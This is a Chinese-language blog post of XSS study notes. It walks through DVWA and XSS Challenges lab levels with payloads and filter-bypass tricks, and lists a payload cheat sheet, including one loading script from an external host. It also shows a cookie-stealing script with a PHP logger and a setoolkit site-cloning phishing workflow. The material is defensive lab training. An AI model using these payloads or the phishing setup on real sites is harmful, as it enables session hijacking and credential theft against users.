XSS学习

xss介绍

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。

xss分类

1.反射型XSS(reflected)

反射型跨站脚本也称为非持久型、参数型跨站脚本。主要用于将恶意脚本附加到url地址的参数中.
反射型xss会诱导用户去访问一个包含恶意代码的url,当用户访问这些连接的时候,恶意的js代码会直接在受害者的浏览器上执行,他的特点是只在用户单击时触发,而且只执行一次,非持久化。
反射型XSS不会永久存储用户的数据,仅发生在用户的一次访问过程之后。这个过程就像一次反射,因此得名反射型XSS。反射型XSS的触发条件比较苛刻,需要攻击者想方设法引导用户点击链接,但产生的危害不容忽视。
XSS学习

2.存储型XSS(stored)

存储型XSS又叫持久型。一般而言,它三种XSS里危害最大的一种。此类型的XSS漏洞是由于恶意攻击代码被持久化保存到服务器上,然后被显示到HTML页面之中。这类漏洞经常出现在用户评论的页面,攻击者精心构造XSS代码,保存到数据库中,当其他用户再次访问这个页面时,就会触发并执行恶意的XSS代码,从而窃取用户的敏感信息。
XSS学习

3.DOM Based XSS
使用DOM可以使程序和脚本能够动态访问和更新文档的内容,结构及其样式。不与后台数据库产生交互,
DOM-basedXSS漏洞是基于文档对象模型(Document Object Model)的一种漏洞。这种XSS与反射型XSS、持久型XSS在原理上有本质区别,它的攻击代码并不需要服务器解析响应,触发XSS靠的是浏览器端的DOM解析。客户端上的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。
在客户端直接输出DOM内容的时候极易触发DOM型XSS漏洞
XSS学习

dvwa-xss

一.反射型

1.low(没有进行任何过滤)

XSS学习

payload:< script >alert("x");< /script>

成功弹出警告!存在xss

2.medium把(< script>用str_replace()函数替换为空了)
输入:< script >alert(“x”);< /script>
XSS学习script被过滤了
绕过:
双写绕过
大小写绕过

3.high

$name = preg_replace( ‘/<(.)s(.)c(.)r(.)i(.)p(.)t/i’, ‘’, $_GET[ ‘name’ ] );
对任何模式的script都过滤了
换标签:

< svg onl oad="alert("xss")">
<img src=0 one rror=alert("xss")>  

二.存储型

1.low没有进行过过滤

payload:<script>alert("x");</script>
函数扩展:
mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
stripslashes(string)
函数删除字符串中的反斜杠。

2. medium 级别

函数扩展:
strip_tags()
函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
返回:被剥离的字符串。

addslashes() 
函数返回在预定义的字符前添加反斜杠的字符串。
单引号(')
双引号(")
反斜杠(\)
NULL
返回:已转义的字符串。

htmlspecialchars() 
函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &amp;
" (双引号)成为 &quot;
' (单引号)成为 '
< (小于)成为 &lt;
> (大于)成为 &gt;

$message = htmlspecialchars( $message ); 对masage特殊字符串转化成了html实体.无法从message处进行xss注入,但name处没有进行编码设置,仍存在xss
name处过滤了< script>
进行绕过:
1.双写srcipt标签
2.大小写绕过
3.换标签注入

3.high
对name进行
$name = preg_replace( ‘/<(.)s(.)c(.)r(.)i(.)p(.)t/i’, ‘’, $name );
所有形式的script标签都过滤,换标签

payload:
<svg onl oad=alert("xss")>
<img src=0 one rror=alert("xss")>

三.DOM-XSS

1.low没有过滤

?default=< script>alert(“xss”)</ script>

2.medium
输入的值会被现实在屏幕上,
注入:< script>alert(“x”);</ script>
页面没有现实,猜测,script被过滤了
换标签
使用stripos对< script>进行过滤,并且不区分大小写

payload:<svg onl oad=alert("xss")>

查看代码,发现还需要闭合option和select标签

闭合payload:</option></select><svg onl oad=alert("xss")>

3.high
3. high 级别

这里high级别的代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的相应值,如果不匹配,则插入的是默认的值。此时,在URL中添加注释#注释的内容不会提交到服务器,而是在浏览器执行:

payload:English# <script>alert("x")</script>

4.impossible
注入的内容都会经过URL编码显示在输入框,经过URL编码的内容被放在HTML标签中,而没有经过解码。所以不存在注入。

XSS的攻击载荷

#弹出hello
 <script>alert(/hello/)</script>   #弹出hello
 <script>alert(1)</script>        #弹出1,对于数字可以不用引号
 <script>alert(document.cookie)</script>      #弹出cookie
 <script src=http://xxx.com/xss.js></script>  #引用外部的xss
------------------------------
 <svg>标签:
------------------------------
 <svg onl oad="alert(1)">
 <svg onl oad="alert(1)"//		
------------------------------
 <img>标签:
------------------------------
 <img  src=1  οnerrοr=alert("hack")>
 <img  src=1  οnerrοr=alert(document.cookie)>  #弹出cookie
------------------------------
<body>标签:
------------------------------
 <body οnlοad=alert(1)>
 <body οnpageshοw=alert(1)>
------------------------------
<video>标签:
------------------------------
 <video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
------------------------------
<Style>标签:
------------------------------
 <style οnlοad=alert(1)></style>
------------------------------

xss漏洞危害

						|--->窃取cookie(利用cookie登录)
						|--->网络钓鱼(克隆网站,网页钓鱼盗取账号密码)
	|------->针对用户-->|--->放马挖矿(结合msf框架)
	|					|--->广告刷流量(网页篡改)
 XSS----|					
	|					
	|					|--->篡改页面,网页链接
	|----->针对web服务->|--->传播蠕虫
						|--->内网扫描
						|--->劫持后台
*  网络钓鱼,包括盗取各类用户账号;
* 窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步*对网站执行操作;
* 劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;
* 强制弹出广告页面、刷流量等;
* 网页挂马;进行恶意操作,例如任意篡改页面信息、删除文章等
进行大量的客户端攻击,如DDoS攻击;
* 获取客户端信息,例如用户的浏览历史、真实IP、开放端口等;
控制受害者机器向其他网站发起攻击;
* 结合其他漏洞,如CSRF漏洞,实施进一步作恶;
提升用户权限,包括进一步渗透网站;
传播跨站脚本蠕虫等;

从以上我们可以知道,存储型的XSS危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,
只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL,需要我们和用户有直接或者间接的接触,比如利用社会工程学或者利用在其他网页挂马的方式。

xss漏洞利用方式

1.窃取cookie

用dvwa测试
XSS学习
输入:< script>window.location=“http://127.0.0.1 /cookie.php?cookie=”+document.cookie< /script>

cookie.php中代码如下:

<?php
//js代码:<script>window.location="http://127.0.0.1/cookie.php?cookie="+document.cookie</script>
    $myfile = fopen("cookie.txt", "w") or die("Unable to open file!");
    $getcookie=$_GET["cookie"];
    //echo $getcookie;
   fwrite($myfile,$getcookie);
?>

这时候,cookie被写入攻击人的cookie.txt文件中,
此时,攻击者可以通过抓包修改cookie的方式,使用盗取的cookie来登录
XSS学习

2.篡改网页链接/刷流量

1.篡改网页链接

<script>
    window.onload=function(){
    var link=document.getElementsByTagName("a");
    for(i=0;i<link.length;i++){
    link[i].href="http://www.baidu.com";}
    }
</script>

XSS学习2.刷流量,这里吧百度,改为要刷流量的网址即可

盗取用于信息/xss钓鱼

1.用setoolkit克隆网站,
(1)在kali的终端上打开setoolkit
XSS学习
(2)选择第一个社会工程,选择社会工程之后接着有11个选项
XSS学习
(3)选择第二个网站向量,选择完之后有8个选项.
XSS学习
(4)选择第三个凭证收割方法,选择完之后有3个选项.
XSS学习(5)选择第二个网站克隆.
XSS学习

(6)接着默认回车就行,默认使用kali的IP地址,即网站接收到的数据都返回到这个IP.
(7)输入要克隆网站的地址,这里我们用dvwa来举例,输入本机的dvwa网站的登录页面克隆
XSS学习XSS学习(8)网站克隆成功,访问虚拟机ip就是克隆好的网站
XSS学习
2.利用xss漏洞,跳转到克隆的站点

payload:<script>window.location="克隆的站点网址"</script>

利用dvwa存储型xss,钓鱼
XSS学习此时用户点击到xss-store时就会弹出我们克隆的登录页面
XSS学习用户输入用户名密码就会被setoolkit记录
XSS学习
3.用户输入用户名和密码,在setookit上记录下用户名,密码
XSS学习
用xss漏洞插入一段js代码,只不过这段代码我已经提前部署在xss平台里,这段js代码的功能就是 当xss代码被执行后,能弹出一个alert,提示你登陆过期,然后用一个frame 覆盖整个页面,然后呢这个frame的src是我们公网上搭的一个钓鱼页 ,当然我们得事先把这个钓鱼页做好。然后一般的人就认为可能真的“登陆过期”了,其实页面还是在之前那个xss页面,只不过呢 我们在当前页面生成一个frame 覆盖了整个页面。并且我们url是没有 跳转的,所以说,欺骗性是很强的。

在管理员看来这个登陆界面是正确的界面,其实是我们的钓鱼页

XSS可以插入在那些地方

 *用户输入作为script标签内容
 *用户输入作为HTML注释内容
 *用户输入作为HTML标签的属性名
 *用户输入作为HTML标签的属性值
 *用户输入作为HTML标签的名字
 *直接插入到CSS里

 **通过上述可插入的位置可知:千万不要引入任何不可信的第三方JavaScript到页面里!

#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
 <!-- 用户输入 -->
 <!-- --><script>alert('hack')</script><!-- -->

 #用户输入作为标签属性名,导致攻击者可以进行闭合绕过
 <div 用户输入="xx">  </div>
 <div ></div><script>alert('hack')</script><div a="xx"> </div>

 #用户输入作为标签属性值,导致攻击者可以进行闭合绕过
 <div id="用户输入"></div>
 <div id=""></div><script>alert('hack')</script><div a="x"></div>

 #用户输入作为标签名,导致攻击者可以进行闭合绕过
 <用户输入  id="xx" />
 <><script>alert('hack')</script><b id="xx" />

 #用户输入作为CSS内容,导致攻击者可以进行闭合绕过
 <style>用户输入<style>
 <style> </style><script>alert('hack')</script><style> </style>

xss绕过方式-XSS Challenges靶场

靶场地址:http://xss-quiz.int21h.jp/

第一关:没有过滤的xss

payload:<script>alert(document.domain);</script>

第二关:属性中xss
XSS学习需要闭合input标签和value的双引号,也可以引入事件

payload:
闭合属性:"><script>alert(document.domain);</script>
引入事件:" onm ouseover="alert(document.domain)">

第三关:选择列表的xss(标签内容)
XSS学习可以看到,search中的内容,被转义后原样输出,不存在xss,可以考虑后面的选择列表

payload:
Japan<script>alert(document.domain);</script>
Japan</option><script>alert(document.domain);</script>

XSS学习成功执行xss脚本
XSS学习第4关:隐藏标签中的xss+闭合属性值

查看前端代码看到 有一个隐藏的input标签,value可以提交参数
XSS学习抓包得到
XSS学习这里可以闭合value属性,注入xss脚本

	payload:
	hackme:><scirpt>alert(document.doamin)</script>

XSS学习第五关:前端长度限制+闭合属性值
XSS学习这里修改长度限制,然后闭合value标签

payload:"><script>alert(document.domain);</script>

第六关:html实体转移+onmouseover事件触发xss

XSS学习这里看到标签的<>被转义为html字符实体,不能成功执行,需要一个不需要尖括号的payload ,这里用onmouseover事件触发xss

payload:" onm ouseover=alert(document.domian)

XSS学习成功触发xss

第七关:空格分隔属性+事件触发+原样输出绕过

这里可以看到,我们输入的内容全部被当做value的值输出出来,闭合不了value属性值,所以换一种思路,用事件触发xss
XSS学习因为输入空格前的值,也就是mouse前的空格的值都会被双引号包裹原样输出,这里不需要闭合value的双引号也可以
XSS学习这里构造payload

payload:qwe onm ouseover=alert(document.domain)

XSS学习成功触发xss

第八关:javascript伪协议触发xss

JavaScript伪协议介绍:

javascript:这个特殊的协议类型声明了URL的主体是任意的javascript
代码它由javascript的解释器运行

将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。

javascript URL还可以含有只执行动作,但不返回值的javascript语句。例如:
javascript:alert(“hello world!”)

我们输入的值,被转为一个超链接
XSS学习尝试闭合a标签

</a><script>alert(document.domain);</script>

XSS学习被原样输出,点击跳转到404页面,所以不能够构造xss

用JavaScript伪协议构造payload,构造xss

payload:javascript:alert(document.domain);

XSS学习要执行多个语句,要用分号隔开,这里在弹出cookie
XSS学习第十关:关键字domain被过滤+双写绕过/编码绕过

url:http://xss-quiz.int21h.jp/stage00010.php?sid=718360225fa9356a42c30995f38b5142c3496f6a

双写绕过

payload:"><script>alert(document.domdomainain)</script>

编码绕过:

函数扩展:
eval() 函数
可计算某个字符串,并执行其中的的 JavaScript 代码。
atob() 方法
用于解码使用 base-64 编码的字符串。
把base64编码转化为字符串

构造payload:

payload:"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

atob里的是要执行的语句,不带分号
XSS学习第十一关:script和on事件间过滤,js伪协议+空格绕过过滤

将script,on[a-z],style都过滤了
要将script中的某个字符转为unicode编码,或者可以插入 不可见字符或者空格

payload:"><a href="javascr&#09;ipt:alert(document.domain);">12</a>

第十二关:ie+反引号闭合过滤
<>“被过滤,根据提示可以知道x00-,x20,& lt;,& gt;,”,'都被过滤了,但是反引号还没被过滤,于是可以用加上onclick,onmouseover,onfocus均可,还有一个前提是IE,只有IE才有这个特性

payload: ``onfocus=alert(document.domain)

第十三关:ie+css特性expression绕过

字符串都进行了转义,原样输出
把所有输入的

在CSS样式中利用expression实现javascript中的onmouseover或onmouseout事件,同样前提是IE

1:expression(onmouseover=function(){alert(document.domain)})

2:background-color:salmon;input:expression((window.x==1)?'':(window.x=1,alert(document.domain)))

第十四关:ie+expression过滤+//绕过**

css执行js:
IE5-7版本支持在CSS中使用expression,用来把CSS属性和Javas cript表达式关联起来,这里的CSS属性可以是元素固有的属性,也可以是自定义属性。就是说CSS属性后面可以是一段Javas cript表达式。

1: xss:expre/**/ssion(οnmοuseοver=function(){alert(document.domain)})

必须要xss:属性是随意的可以为a:

2:background-color:salmon;input:e/**/xpression((window.x==1)?’’:(window.x=1,alert(document.domain)))

xss自动化工具-beef使用

如何挖取xss漏洞

xss漏洞如何防御

上一篇:uniapp+个推实现推送通知


下一篇:ctfshow 命令执行